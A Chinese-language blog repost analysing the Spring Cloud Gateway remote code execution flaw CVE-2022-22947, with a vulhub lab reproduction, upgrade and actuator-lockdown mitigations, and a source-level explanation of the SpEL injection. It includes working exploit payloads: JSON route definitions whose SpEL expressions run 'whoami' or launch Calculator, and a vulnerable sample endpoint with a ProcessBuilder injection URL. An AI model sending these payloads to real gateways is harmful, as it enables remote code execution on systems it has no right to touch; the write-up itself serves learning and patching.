Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

news2024/11/26 4:24:25

参考链接:https://blog.csdn.net/xiaobai_20190815/article/details/124045768

http://news.558idc.com/290335.html

Java 安全-手把手教你SPEL表达式注入_4ct10n的博客-CSDN博客_spel注入

一、漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

3月1日,VMware发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。

二、影响版本

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0 - 3.0.6

Spring Cloud Gateway 其它不支持的、已不再更新的版本

三、环境搭建

从vulhub下载Vulhub - Docker-Compose file for vulnerability environment漏洞库后,找到CVE-2022-22947直接启动

docker-compose up -d

四、漏洞复现

1、首先,修改GET /actuator请求,确定actuator端口已经开启

2、修改get请求,获取路由信息GET /actuator/gateway/routes/:

当前只有路由index,该路有默认跳转到uri:http://example.com:80

2、然后,构造一个post请求包,POST /actuator/gateway/routes/test 添加一个包含恶意SpEL表达式的路由:

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新路由,POST /actuator/gateway/refresh

2、获取路由信息GET /actuator/gateway/routes/,新增路由test成功:

3、构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root :

最后,删除我们前面构造的路由,DELETE /actuator/gateway/routes/test

五、解决方法

1、升级更新到以下版本:

Spring Cloud Gateway >= 3.1.1

Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。

2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.securit

其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}

spring:
  application:
    name: GatewatDemo

  cloud:
    gateway:
      routes:
        - id: "router1"
          uri: "http://127.0.0.1:9223/"
          predicates:
            - Path=/
          filters:
            - AddResponseHeader=Result,#{1+1}

查看返回头,表达式被成功执行:

将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由:

{
  "id": "router2",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
    }
    
  },{
        "name":"RewritePath",
        "args":{
            "_genkey_0":"/9224",
            "_genkey_1":"/"
        }
    }],
  "uri": "http://127.0.0.1:9224",
  "predicate": "/9224"
}

刷新路由,发现代码成功执行。

原理分析 

我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。

 

我们对exec执行下个断点,观察程序的调用栈。

前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。

简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作:

 

具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑

第三个参数为SpEL的parse。

随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():

在getValue中对字符串进行trim操作,同时判断字符串以#{开始并以}结束:

如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

到这里就基本理解了漏洞触发的原因

SPEL 漏洞

该漏洞的漏洞形态类似于命令注入,因此之前该漏洞归为命令注入类。看一下最简单的漏洞样例。

    @RequestMapping("/test")
    @ResponseBody
    public String test(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。

http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()

当然也可以采用T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性,也是可以是想相同的功能。

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/153952.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

组学新品|“4K”微生态之肠道菌群深度宏基因组

1.“4K”微生态定义 人体微生物群是人体内部与体表所有微生物有机体的总称[1],其组成包括非细胞结构的病毒(包括噬菌体)、原核生物中的真细菌和古细菌,以及真核细胞微生物。与之对应,微生物群可以分为病毒群、细菌群、…

Redis未授权访问漏洞(二)Webshell提权篇

前言 在学习这篇文章之前,请先通过这篇文章Redis未授权访问漏洞(一)先导篇学习一下基础知识,再来学习这篇文章。 webshell提权 环境准备 攻击机: Centos7 IP:192.168.44.130 靶机:Centos7 IP:192.168.44.129 首先我们需要准备好…

QuartzNet的基本使用,Scheduler,Job,Trigger的应用

Quartz.Net的基本使用方法 Quartz.Net的基本使用是比较简单的,主要是对下面三个工具的创建和使用。 Scheduler调度器Job执行的动作Trigger触发器 Scheduler的创建和使用 scheduler的创建有几种不同的方式,但一般可以直接使用其提供的工厂类直接创建 通过工厂类…

分享92个NET源码,总有一款适合您

NET源码 分享92个NET源码,总有一款适合您 92个NET源码下载链接:https://pan.baidu.com/s/1Ya4GMXuHhNbqkLU5b7SPEw?pwd5vpx 提取码:5vpx 下面是文件的名字,我放了一些图片,文章里不是所有的图主要是放不下...&…

【指针面试题】-还在为学过指针的理论只是不会实践吗??赶紧来看看这里讲解了许多指针的面试题,带你更好掌握指针!!!

🎇作者:小树苗渴望变成参天大树 🧨作者宣言:认真写好每一篇博客 🎊作者gitee:link 🎉指针笔试题详解💥前言💦一、指针和数组面试题解析💨1.1一维数组💢1.2字…

Episode 01 密码技术基础

一、加密和解密&&发送者、接收者和窃听者 发送者:发出消息的人 接收者:接收消息的人 窃听者:恶意获取消息的第三方 加密:发送者将明文转换为密文 解密:接收者将密文还原为明文 破译:接收者以外…

客流统计系统为什么深受门店商户的喜爱?

人数或人群流动信息进行精确的统计分析,而且还可以利用这些高精度的数据,还能获得该区域精确的客流量信息,实现有效合理的组织运营工作,提升工作效益,帮助使用者开展更有成效的组织工作。客流统计系统内置高性能CMOS图…

同源跨域的概念与实现跨域的几种方案

本文将结合周老师的讲义对同源与跨域这一前端经典问题进行系统的总结、整理。一起来坐牢,快! 1. 同源限制 1.1 历史背景 - 含义的转变 1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。 最初&…

【无标题】javaEE初阶---多线程(面试常用)

这篇文章 , 我将主要介绍多线程进阶部分的内容 . 主要涉及到一些在面试中常考的内容。 一:常见的锁策略 1.1乐观锁和悲观锁 乐观锁 : 预测接下来发生锁冲突的可能性不大 , 而进行的一类操作; 悲观锁 : 预测接下来发生锁冲突的可能性很大 , 而进行的一类操作.乐观锁 : 假设数…

ClassIn:如何打造更稳定的Zabbix监控系统

作者简介:罗呈祥。现就职于北京翼鸥教育科技有限公司,负责数据库相关的运维管理和技术支持工作,擅长故障处理和性能优化,对分布式数据库也有深入研究。 近期,OceanBase 社区发布了一篇关于我们公司选型分布式数据库的文…

bilateral_filter 双边滤波器详细用法

一、双边滤波(Bilateral filter)是一种可以保边去噪的滤波器。其输出像素的值依赖于邻域像素的值的加权组合。 从效果来说,双边滤波可产生类似美肤的效果。皮肤上的皱纹和斑,与正常皮肤的差异,远小于黑白眼珠之间的差异…

13种Shell逻辑与算术,能写出5种算你赢!

相较于最初的 Bourne shell,现代 bash 版本的最大改进之一体现在算术方面。早期的 shell 版本没有内建的算术功能,哪怕是给变量加1,也得调用单独的程序来完成。 1、算术方法一: $(( )) 只要都是整数运算,就可以在 $(…

DHT11温湿度传感器初识

目录 一、产品概述 1、接线方式 2、特点 3、数据传送逻辑 二、发送时序检测模块是否存在 1、C51单片机(主机)时序分析 2、编写代码检测模块是否存在 3、读取DHT11数据的时序分析 三、温湿度通过串口传到PC显示 四、温湿度检测小系统——使数据…

Discrete Opinion Tree Induction for Aspect-based Sentiment Analysis 论文阅读笔记

一、作者 Chenhua Chen、Zhiyang Teng、Zhongqing Wang、Yue Zhang School of Engineering, Westlake University, China Institute of Advanced Technology, Westlake Institute for Advanced Study Soochow University 二、背景 如何为每一个方面词定位相应的意见上下文…

反补码运算之 “1 - 1 = - 1 ” ?

我们在研究数据的二进制表示时遇到这样一个问题: 由于计算中的CPU只有加法器,没有减法器,所以在计算机采用原码做减法时对于:1 - 1 0 相当于1 (-1),用二进制表示为:000110011001。…

儿童感染新冠病毒后发高烧如何应对?专家来支招

儿童感染新冠病毒后发热较多,但肺炎发展较少儿童感染新冠病毒后发高烧,是重症吗?徐红梅:从目前的接待情况来看,儿童感染新冠病毒后比成人发烧。超过一半的儿童在感染后有发烧症状,伴有咳嗽、鼻塞、流鼻涕、…

JavaWeb的一些学习总结

Web系统就是:前端负责貌美如花,后端负责坚如磐石 企业在做Web系统时,成本与收益的对比是不可忽视的,企业做项目一定是要盈利的! 企业做项目最求的不是技术的新和潮,追求的是低成本和稳还有好用度&#xff…

函数的设计

一、默认参数 C允许在函数定义或声明时,为形参指定默认值,即默认参数(default argument)。 (1)函数定义与函数声明只能设置一次默认参数。 (2)可以设置多个默认参数,设…

【精华】搞定JVM调优学习

JVM 介绍 1. 什么是 JVM JVM 是 Java Virtual Machine(Java 虚拟机)的缩写。一台执行 Java 程序的机器。 2 .JAVA 语言的执行原理 计算机语言: 计算机能够直接执行的指令。这种指令和系统及硬件有关。 计算机高级语言: 在遵循…

「数据」驱动行业拐点,毫末智行冲刺自动驾驶3.0时代

“毫末预计,到2025年中国高阶辅助驾驶搭载率将达到70%。而在汽车新消费领域,中国汽车市场增换购消费比例将达到60%,智能驾驶功能成为必选因素,并迎来商业化的加速发展。”1月5日,第七届HAOMO AI DAY上,毫末…